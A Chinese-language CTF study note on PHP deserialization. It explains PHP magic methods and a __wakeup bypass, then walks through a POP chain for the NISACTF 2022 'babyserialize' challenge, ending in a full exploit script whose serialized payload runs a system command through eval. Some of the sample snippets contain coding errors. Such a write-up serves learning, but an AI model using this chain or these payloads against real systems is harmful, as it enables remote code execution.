php中,序列化和反序列化是相对的两个过程,序列化是把变量或对象转化成字符串的过程
反序列化是把字符串转换为变量过着对象的过程
在php的反序列化中,存在类,当类被以特定的方式就会触发魔术方法,在实行序列化的过程中,合理的调用魔术方法,是能成功的关键;尤其在pop链的构造中,需要在多个类中调用不同的魔术方法,来构成完整正确的链。对于pop链的构造,优先找到链尾,明确了在链尾需要调用到什么魔术方法来实现,再往上反推
记录一下目前为止,我遇到过的魔术方法
_construct(),构造函数,当在实例化一个对象时会被调用,也就是new一个对象时会调用
<?php
class G{
public $user;
public function __construct()
{
$this->user = $user;
echo "__construct test";
}
}
$g = new G;
echo serialize($g)
_destruct(),折构函数,会在对象的所有引用被删除或者当对象被显式销毁时自动执行,在new完一个对象后,如果有赋值的指像,那么就会丢弃并触发__destruct,在new和unserialize时会触发
<?php
class G{
public $user;
public function __destruct()
{
$this->user = $user;
echo "__destruct test";
}
}
$g = new G;
$a=serialize($g);
echo unserialize($a);
?>
_invoke()函数,用调用函数的方法调用一个对象
<?php
class G{
public $user;
public function __invoke()
{
eval($this->$user);
}
}
$g = new G;
?>
_toString(),对象被当做字符串调用时触发,或者echo时触发
<?php
class G{
public $user;
public function __invoke()
{
system($this->$user);
}
}
$g = new G;
echo $g;
?>
_wakeup(),执行unserialize时触发,这个函数又是需要绕过,绕过的方法就是让我们构造的序列化的字符串中的对象数量大于真实存在的数量就可以了,因为反序列化的过程中,php会忽略掉多出来的数据
看看题吧
[SWPUCTF 2021 新生赛]no_wakeup
http://t.****img.cn/uG79E
[NISACTF 2022]babyserialize
先看源代码,有4个类,需要构造pop链了
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
构建pop链要先找到链尾,链尾有什么特征呢(一般链尾都是具有eval,include这些高危函数,能够让我们利用来获取flag的地方)
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
eval函数,很明显就是能够利用获取flag的位置,作为链尾,然后开始反推,要先触发invoke对象,才会执行eval函数,invoke函数在将对象以函数的形式调用时触发,到所有类中寻找调用函数的
public function __toString(){
$bb = $this->su;
return $bb();
下一步,触发tostring函数,寻找调用字符串的,找到strtolower函数,该函数是将字符串转换成小写
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
__set(),在对不存在或者不可访问的成员变量进行赋值就会自动调用,去寻找类中没被定义的变量,fun是没有被定义的,所以不存在
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
_call调用一个不可访问的方式触发,调用了nisa,但是这个类中不存在,因此无法访问
public function __wakeup()
{
$this->ext->nisa($this->x);
}
现在的wakeup又回到了NISA,一条pop链就完成了
<?php
class NISA{
public $fun="123";
public $txw4ever="System('cat /fllllllaaag ');";
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="abc";
private $fun='sixsixsix';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
$n=new NISA;
$i=new Ilovetxw;
$i->su=$n;
$f=new four;
$f->a=$i;
$i=new Ilovetxw;
$i->huang=$f;
$t=new TianXiWei;
$t->ext=$i;
echo urlencode(serialize($t));
?>